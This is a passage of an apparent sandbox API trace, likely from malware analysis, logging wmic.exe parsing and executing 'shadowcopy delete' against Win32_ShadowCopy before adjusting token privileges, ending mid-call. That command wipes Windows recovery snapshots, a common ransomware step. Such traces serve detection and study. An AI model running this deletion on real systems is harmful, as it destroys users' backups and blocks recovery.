(_Block=0x3eb88) [0084.186] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0084.186] malloc (_Size=0xe) returned 0x2422078 [0084.186] lstrlenW (lpString="delete") returned 6 [0084.186] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0084.186] malloc (_Size=0xe) returned 0x2422090 [0084.186] malloc (_Size=0x8) returned 0x3feb0 [0084.186] memmove_s (in: _Destination=0x3feb0, _DestinationSize=0x4, _Source=0x32f08, _SourceSize=0x4 | out: _Destination=0x3feb0) returned 0x0 [0084.186] free (_Block=0x32f08) [0084.186] free (_Block=0x0) [0084.186] free (_Block=0x2422078) [0084.186] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0084.186] malloc (_Size=0x8) returned 0x32f08 [0084.187] lstrlenW (lpString="QUIT") returned 4 [0084.187] lstrlenW (lpString="shadowcopy") returned 10 [0084.187] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0084.187] lstrlenW (lpString="EXIT") returned 4 [0084.187] lstrlenW (lpString="shadowcopy") returned 10 [0084.187] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0084.187] free (_Block=0x32f08) [0084.187] WbemLocator:IUnknown:AddRef (This=0x1d90828) returned 0x2 [0084.187] malloc (_Size=0x8) returned 0x32f08 [0084.187] lstrlenW (lpString="/") returned 1 [0084.187] lstrlenW (lpString="shadowcopy") returned 10 [0084.187] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0084.187] lstrlenW (lpString="-") returned 1 [0084.187] lstrlenW (lpString="shadowcopy") returned 10 [0084.187] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0084.187] lstrlenW (lpString="CLASS") returned 5 [0084.187] lstrlenW (lpString="shadowcopy") returned 10 [0084.187] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0084.187] lstrlenW (lpString="PATH") returned 4 [0084.187] lstrlenW (lpString="shadowcopy") returned 10 [0084.187] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0084.187] lstrlenW (lpString="CONTEXT") returned 7 [0084.187] lstrlenW (lpString="shadowcopy") returned 10 [0084.187] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0084.187] lstrlenW (lpString="shadowcopy") returned 10 [0084.187] malloc (_Size=0x16) returned 0x3eb88 [0084.187] lstrlenW (lpString="shadowcopy") returned 10 [0084.188] GetCurrentThreadId () returned 0x5a8 [0084.188] ??0CHString@@QAE@XZ () returned 0x2bfcac [0084.188] malloc (_Size=0xc) returned 0x2422078 [0084.188] malloc (_Size=0xc) returned 0x24220a8 [0084.188] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d90828, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x89c1e0 | out: ppNamespace=0x89c1e0*=0x1d9d00c) returned 0x0 [0087.455] free (_Block=0x24220a8) [0087.455] free (_Block=0x2422078) [0087.455] CoSetProxyBlanket (pProxy=0x1d9d00c, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0087.455] ??1CHString@@QAE@XZ () returned 0x75040504 [0087.455] GetCurrentThreadId () returned 0x5a8 [0087.455] ??0CHString@@QAE@XZ () returned 0x2bfc44 [0087.455] malloc (_Size=0xc) returned 0x2422078 [0087.455] malloc (_Size=0xc) returned 0x24220a8 [0087.456] malloc (_Size=0xc) returned 0x24220c0 [0087.456] malloc (_Size=0xc) returned 0x24220d8 [0087.456] SysStringLen (param_1="root\\cli") returned 0x8 [0087.456] SysStringLen (param_1="\\") returned 0x1 [0087.456] malloc (_Size=0xc) returned 0x24220f0 [0087.456] SysStringLen (param_1="root\\cli\\") returned 0x9 [0087.456] SysStringLen (param_1="ms_409") returned 0x6 [0087.456] free (_Block=0x24220d8) [0087.456] free (_Block=0x24220c0) [0087.456] free (_Block=0x24220a8) [0087.456] free (_Block=0x2422078) [0087.456] malloc (_Size=0xc) returned 0x2422078 [0087.456] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d90828, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x89c1e4 | out: ppNamespace=0x89c1e4*=0x1d9d064) returned 0x0 [0087.468] free (_Block=0x2422078) [0087.468] free (_Block=0x24220f0) [0087.468] ??1CHString@@QAE@XZ () returned 0x75040504 [0087.468] GetCurrentThreadId () returned 0x5a8 [0087.469] ??0CHString@@QAE@XZ () returned 0x2bfcb0 [0087.469] malloc (_Size=0xc) returned 0x24220f0 [0087.469] malloc (_Size=0xc) returned 0x2422078 [0087.469] malloc (_Size=0xc) returned 0x24220a8 [0087.469] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0087.469] malloc (_Size=0x3a) returned 0x3fec0 [0087.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x851f7c, cbMultiByte=-1, lpWideCharStr=0x3fec0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0087.469] free (_Block=0x3fec0) [0087.469] malloc (_Size=0xc) returned 0x24220c0 [0087.469] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0087.469] SysStringLen (param_1="shadowcopy") returned 0xa [0087.469] malloc (_Size=0xc) returned 0x24220d8 [0087.469] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0087.469] SysStringLen (param_1="'") returned 0x1 [0087.469] free (_Block=0x24220c0) [0087.469] free (_Block=0x24220a8) [0087.469] free (_Block=0x2422078) [0087.470] free (_Block=0x24220f0) [0087.470] IWbemServices:GetObject (in: This=0x1d9d00c, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x2bfcac*=0x0, ppCallResult=0x0 | out: ppObject=0x2bfcac*=0x1da9a18, ppCallResult=0x0) returned 0x0 [0087.485] malloc (_Size=0xc) returned 0x24220f0 [0087.486] IWbemClassObject:Get (in: This=0x1da9a18, wszName="Target", lFlags=0, pVal=0x2bfc6c*(varType=0x0, wReserved1=0x2b, wReserved2=0xe58c, wReserved3=0x88, varVal1=0xffffffff, varVal2=0x85a03c), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfc6c*(varType=0x8, wReserved1=0x2b, wReserved2=0xe58c, wReserved3=0x88, varVal1="Select * from Win32_ShadowCopy", varVal2=0x85a03c), pType=0x0, plFlavor=0x0) returned 0x0 [0087.486] free (_Block=0x24220f0) [0087.486] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0087.486] malloc (_Size=0x3e) returned 0x3fec0 [0087.486] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0087.486] malloc (_Size=0xc) returned 0x24220f0 [0087.486] IWbemClassObject:Get (in: This=0x1da9a18, wszName="PWhere", lFlags=0, pVal=0x2bfc6c*(varType=0x0, wReserved1=0x2b, wReserved2=0xe58c, wReserved3=0x88, varVal1=0x36503c, varVal2=0x85a03c), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfc6c*(varType=0x8, wReserved1=0x2b, wReserved2=0xe58c, wReserved3=0x88, varVal1=" Where ID = '#'", varVal2=0x85a03c), pType=0x0, plFlavor=0x0) returned 0x0 [0087.486] free (_Block=0x24220f0) [0087.486] lstrlenW (lpString=" Where ID = '#'") returned 15 [0087.486] malloc (_Size=0x20) returned 0x3ff08 [0087.486] lstrlenW (lpString=" Where ID = '#'") returned 15 [0087.486] malloc (_Size=0xc) returned 0x24220f0 [0087.486] IWbemClassObject:Get (in: This=0x1da9a18, wszName="Connection", lFlags=0, pVal=0x2bfc6c*(varType=0x0, wReserved1=0x2b, wReserved2=0xe58c, wReserved3=0x88, varVal1=0x3949a4, varVal2=0x85a03c), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfc6c*(varType=0xd, wReserved1=0x2b, wReserved2=0xe58c, wReserved3=0x88, varVal1=0x1da9dd8, varVal2=0x85a03c), pType=0x0, plFlavor=0x0) returned 0x0 [0087.488] free (_Block=0x24220f0) [0087.488] IUnknown:QueryInterface (in: This=0x1da9dd8, riid=0x856b50*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x2bfca4 | out: ppvObject=0x2bfca4*=0x1da9dd8) returned 0x0 [0087.488] GetCurrentThreadId () returned 0x5a8 [0087.488] ??0CHString@@QAE@XZ () returned 0x2bfc20 [0087.488] malloc (_Size=0xc) returned 0x24220f0 [0087.488] IWbemClassObject:Get (in: This=0x1da9dd8, wszName="Namespace", lFlags=0, pVal=0x2bfbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x242, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfbf0*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x242, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0087.488] free (_Block=0x24220f0) [0087.488] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0087.488] malloc (_Size=0x16) returned 0x3ebc8 [0087.488] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0087.488] malloc (_Size=0xc) returned 0x24220f0 [0087.488] IWbemClassObject:Get (in: This=0x1da9dd8, wszName="Locale", lFlags=0, pVal=0x2bfbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x242, varVal1=0x3a393c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfbf0*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x242, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0087.488] free (_Block=0x24220f0) [0087.488] lstrlenW (lpString="ms_409") returned 6 [0087.488] malloc (_Size=0xe) returned 0x24220f0 [0087.488] lstrlenW (lpString="ms_409") returned 6 [0087.488] malloc (_Size=0xc) returned 0x2422078 [0087.488] IWbemClassObject:Get (in: This=0x1da9dd8, wszName="User", lFlags=0, pVal=0x2bfbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x242, varVal1=0x3a393c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfbf0*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x242, varVal1=0x3a393c, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0087.488] free (_Block=0x2422078) [0087.488] malloc (_Size=0xc) returned 0x2422078 [0087.489] IWbemClassObject:Get (in: This=0x1da9dd8, wszName="Password", lFlags=0, pVal=0x2bfbf0*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x242, varVal1=0x3a393c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfbf0*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x242, varVal1=0x3a393c, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0087.489] free (_Block=0x2422078) [0087.489] malloc (_Size=0xc) returned 0x2422078 [0087.489] IWbemClassObject:Get (in: This=0x1da9dd8, wszName="Server", lFlags=0, pVal=0x2bfbf0*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x242, varVal1=0x3a393c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfbf0*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x242, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0087.489] free (_Block=0x2422078) [0087.489] lstrlenW (lpString=".") returned 1 [0087.489] malloc (_Size=0x4) returned 0x3ff30 [0087.489] lstrlenW (lpString=".") returned 1 [0087.489] malloc (_Size=0xc) returned 0x2422078 [0087.489] IWbemClassObject:Get (in: This=0x1da9dd8, wszName="Authority", lFlags=0, pVal=0x2bfbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x242, varVal1=0x3a393c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfbf0*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x242, varVal1=0x3a393c, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0087.489] free (_Block=0x2422078) [0087.489] ??1CHString@@QAE@XZ () returned 0x75040504 [0087.489] IUnknown:Release (This=0x1da9dd8) returned 0x1 [0087.489] GetCurrentThreadId () returned 0x5a8 [0087.489] ??0CHString@@QAE@XZ () returned 0x2bfc18 [0087.489] malloc (_Size=0xc) returned 0x2422078 [0087.489] IWbemClassObject:Get (in: This=0x1da9a18, wszName="__RELPATH", lFlags=0, pVal=0x2bfbf8*(varType=0x0, wReserved1=0x746d, wReserved2=0x0, wReserved3=0x1d9, varVal1=0x0, varVal2=0x1da9dd8), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfbf8*(varType=0x8, wReserved1=0x746d, wReserved2=0x0, wReserved3=0x1d9, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x1da9dd8), pType=0x0, plFlavor=0x0) returned 0x0 [0087.489] free (_Block=0x2422078) [0087.489] malloc (_Size=0xc) returned 0x2422078 [0087.489] GetCurrentThreadId () returned 0x5a8 [0087.489] ??0CHString@@QAE@XZ () returned 0x2bfba8 [0087.489] ??0CHString@@QAE@PBG@Z () returned 0x2bfb94 [0087.490] ??0CHString@@QAE@ABV0@@Z () returned 0x2bfb34 [0087.490] ?Empty@CHString@@QAEXXZ () returned 0x75040510 [0087.490] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x3ff40 [0087.490] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0087.490] ?Left@CHString@@QBE?AV1@H@Z () returned 0x2bfb14 [0087.490] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x2bfb18 [0087.490] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x2bfb94 [0087.490] ??1CHString@@QAE@XZ () returned 0x1 [0087.490] ??1CHString@@QAE@XZ () returned 0x1 [0087.490] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x2bfb10 [0087.490] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x2bfb34 [0087.490] ??1CHString@@QAE@XZ () returned 0x1 [0087.490] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x3ffa8 [0087.490] ?Find@CHString@@QBEHPBG@Z () returned 0xa [0087.490] ?Left@CHString@@QBE?AV1@H@Z () returned 0x2bfb14 [0087.490] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x2bfb18 [0087.490] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x2bfb94 [0087.490] ??1CHString@@QAE@XZ () returned 0x1 [0087.490] ??1CHString@@QAE@XZ () returned 0x1 [0087.490] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x2bfb10 [0087.490] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x2bfb34 [0087.490] ??1CHString@@QAE@XZ () returned 0x75040504 [0087.490] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x75040504 [0087.490] ??1CHString@@QAE@XZ () returned 0x75040504 [0087.490] malloc (_Size=0xc) returned 0x24220a8 [0087.490] malloc (_Size=0xc) returned 0x24220c0 [0087.490] malloc (_Size=0xc) returned 0x2422108 [0087.490] malloc (_Size=0xc) returned 0x2422120 [0087.490] malloc (_Size=0xc) returned 0x2422138 [0087.490] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0087.490] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0087.491] malloc (_Size=0xc) returned 0x2422150 [0087.491] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0087.491] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0087.491] malloc (_Size=0xc) returned 0x2422168 [0087.491] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0087.491] SysStringLen (param_1="\"") returned 0x1 [0087.491] free (_Block=0x2422150) [0087.491] free (_Block=0x2422138) [0087.491] free (_Block=0x2422120) [0087.491] free (_Block=0x2422108) [0087.491] free (_Block=0x24220c0) [0087.491] free (_Block=0x24220a8) [0087.491] IWbemServices:GetObject (in: This=0x1d9d064, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x2bfbb0*=0x0, ppCallResult=0x0 | out: ppObject=0x2bfbb0*=0x1da9e68, ppCallResult=0x0) returned 0x0 [0087.494] malloc (_Size=0xc) returned 0x24220a8 [0087.495] IWbemClassObject:Get (in: This=0x1da9e68, wszName="Text", lFlags=0, pVal=0x2bfb5c*(varType=0x0, wReserved1=0x36, wReserved2=0x3e3c, wReserved3=0x36, varVal1=0x4e, varVal2=0x89c1e0), pType=0x0, plFlavor=0x0 | out: pVal=0x2bfb5c*(varType=0x2008, wReserved1=0x36, wReserved2=0x3e3c, wReserved3=0x36, varVal1=0x388518*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x396f00, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x89c1e0), pType=0x0, plFlavor=0x0) returned 0x0 [0087.495] free (_Block=0x24220a8) [0087.495] SafeArrayGetLBound (in: psa=0x388518, nDim=0x1, plLbound=0x2bfb74 | out: plLbound=0x2bfb74) returned 0x0 [0087.495] SafeArrayGetUBound (in: psa=0x388518, nDim=0x1, plUbound=0x2bfb70 | out: plUbound=0x2bfb70) returned 0x0 [0087.495] SafeArrayGetElement (in: psa=0x388518, rgIndices=0x2bfbd4, pv=0x2bfb9c | out: pv=0x2bfb9c) returned 0x0 [0087.495] malloc (_Size=0xc) returned 0x24220a8 [0087.495] malloc (_Size=0xc) returned 0x24220c0 [0087.495] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0087.495] free (_Block=0x24220a8) [0087.495] IUnknown:Release (This=0x1da9e68) returned 0x0 [0087.495] free (_Block=0x2422168) [0087.495] ??1CHString@@QAE@XZ () returned 0x1 [0087.495] ??1CHString@@QAE@XZ () returned 0x75040504 [0087.495] free (_Block=0x2422078) [0087.495] ??1CHString@@QAE@XZ () returned 0x75040504 [0087.495] lstrlenW (lpString="Shadow copy management.") returned 23 [0087.495] malloc (_Size=0x30) returned 0x3ff40 [0087.495] lstrlenW (lpString="Shadow copy management.") returned 23 [0087.496] free (_Block=0x24220c0) [0087.496] IUnknown:Release (This=0x1da9a18) returned 0x0 [0087.496] free (_Block=0x24220d8) [0087.496] ??1CHString@@QAE@XZ () returned 0x75040504 [0087.496] lstrlenW (lpString="PATH") returned 4 [0087.496] lstrlenW (lpString="delete") returned 6 [0087.496] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0087.496] lstrlenW (lpString="WHERE") returned 5 [0087.496] lstrlenW (lpString="delete") returned 6 [0087.496] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0087.496] lstrlenW (lpString="(") returned 1 [0087.496] lstrlenW (lpString="delete") returned 6 [0087.496] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0087.496] lstrlenW (lpString="/") returned 1 [0087.496] lstrlenW (lpString="delete") returned 6 [0087.496] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0087.496] lstrlenW (lpString="-") returned 1 [0087.496] lstrlenW (lpString="delete") returned 6 [0087.496] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0087.496] malloc (_Size=0xc) returned 0x24220d8 [0087.496] lstrlenW (lpString="GET") returned 3 [0087.496] lstrlenW (lpString="delete") returned 6 [0087.496] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0087.496] lstrlenW (lpString="LIST") returned 4 [0087.496] lstrlenW (lpString="delete") returned 6 [0087.496] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0087.496] lstrlenW (lpString="SET") returned 3 [0087.496] lstrlenW (lpString="delete") returned 6 [0087.497] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0087.497] lstrlenW (lpString="CREATE") returned 6 [0087.497] lstrlenW (lpString="delete") returned 6 [0087.497] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0087.497] lstrlenW (lpString="CALL") returned 4 [0087.497] lstrlenW (lpString="delete") returned 6 [0087.497] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0087.497] lstrlenW (lpString="ASSOC") returned 5 [0087.497] lstrlenW (lpString="delete") returned 6 [0087.497] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0087.497] lstrlenW (lpString="DELETE") returned 6 [0087.497] lstrlenW (lpString="delete") returned 6 [0087.497] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0087.497] free (_Block=0x24220d8) [0087.497] lstrlenW (lpString="/") returned 1 [0087.497] lstrlenW (lpString="delete") returned 6 [0087.497] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0087.497] lstrlenW (lpString="-") returned 1 [0087.497] lstrlenW (lpString="delete") returned 6 [0087.497] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0087.497] lstrlenW (lpString="delete") returned 6 [0087.497] malloc (_Size=0xe) returned 0x24220d8 [0087.497] lstrlenW (lpString="delete") returned 6 [0087.497] lstrlenW (lpString="GET") returned 3 [0087.497] lstrlenW (lpString="delete") returned 6 [0087.497] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0087.497] lstrlenW (lpString="LIST") returned 4 [0087.497] lstrlenW (lpString="delete") returned 6 [0087.497] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0087.497] lstrlenW (lpString="SET") returned 3 [0087.497] lstrlenW (lpString="delete") returned 6 [0087.497] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0087.498] lstrlenW (lpString="CREATE") returned 6 [0087.498] lstrlenW (lpString="delete") returned 6 [0087.498] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0087.498] lstrlenW (lpString="CALL") returned 4 [0087.498] lstrlenW (lpString="delete") returned 6 [0087.498] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0087.502] lstrlenW (lpString="ASSOC") returned 5 [0087.502] lstrlenW (lpString="delete") returned 6 [0087.502] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0087.502] lstrlenW (lpString="DELETE") returned 6 [0087.502] lstrlenW (lpString="delete") returned 6 [0087.502] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0087.502] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0087.502] malloc (_Size=0x3e) returned 0x3ff78 [0087.502] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0087.502] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x36a4e6e4 | out: _String="Select", _Context=0x36a4e6e4) returned="Select" [0087.502] malloc (_Size=0xc) returned 0x24220c0 [0087.502] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x36a4e6e4 | out: _String=0x0, _Context=0x36a4e6e4) returned="*" [0087.502] lstrlenW (lpString="FROM") returned 4 [0087.502] lstrlenW (lpString="*") returned 1 [0087.502] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0087.502] malloc (_Size=0xc) returned 0x2422078 [0087.502] free (_Block=0x24220c0) [0087.503] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x36a4e6e4 | out: _String=0x0, _Context=0x36a4e6e4) returned="from" [0087.503] lstrlenW (lpString="FROM") returned 4 [0087.503] lstrlenW (lpString="from") returned 4 [0087.503] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0087.503] malloc (_Size=0xc) returned 0x24220c0 [0087.503] free (_Block=0x2422078) [0087.503] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x36a4e6e4 | out: _String=0x0, _Context=0x36a4e6e4) returned="Win32_ShadowCopy" [0087.503] malloc (_Size=0xc) returned 0x2422078 [0087.503] free (_Block=0x24220c0) [0087.503] free (_Block=0x3ff78) [0087.503] free (_Block=0x2422078) [0087.503] lstrlenW (lpString="SET") returned 3 [0087.503] lstrlenW (lpString="delete") returned 6 [0087.503] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0087.503] lstrlenW (lpString="CREATE") returned 6 [0087.503] lstrlenW (lpString="delete") returned 6 [0087.503] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0087.503] free (_Block=0x32f08) [0087.503] malloc (_Size=0x4) returned 0x32f08 [0087.503] lstrlenW (lpString="GET") returned 3 [0087.503] lstrlenW (lpString="delete") returned 6 [0087.503] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0087.503] lstrlenW (lpString="LIST") returned 4 [0087.503] lstrlenW (lpString="delete") returned 6 [0087.503] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0087.503] lstrlenW (lpString="ASSOC") returned 5 [0087.504] lstrlenW (lpString="delete") returned 6 [0087.504] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0087.504] WbemLocator:IUnknown:AddRef (This=0x1d90828) returned 0x3 [0087.504] free (_Block=0x32820) [0087.504] lstrlenW (lpString="") returned 0 [0087.504] lstrlenW (lpString="XDUWTFONO") returned 9 [0087.504] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0087.504] lstrlenW (lpString="XDUWTFONO") returned 9 [0087.504] malloc (_Size=0x14) returned 0x3ebe8 [0087.504] lstrlenW (lpString="XDUWTFONO") returned 9 [0087.504] GetCurrentThreadId () returned 0x5a8 [0087.504] GetCurrentProcess () returned 0xffffffff [0087.504] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x2bfd18 | out: TokenHandle=0x2bfd18*=0x294) returned 1 [0087.504] GetTokenInformation (in: TokenHandle=0x294, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2bfd14 | out: TokenInformation=0x0, ReturnLength=0x2bfd14) returned 0 [0087.504] malloc (_Size=0x118) returned 0x2422448 [0087.504] GetTokenInformation (in: TokenHandle=0x294, TokenInformationClass=0x3, TokenInformation=0x2422448, TokenInformationLength=0x118, ReturnLength=0x2bfd14 | out: TokenInformation=0x2422448, ReturnLength=0x2bfd14) returned 1 [0087.504] AdjustTokenPrivileges (in: 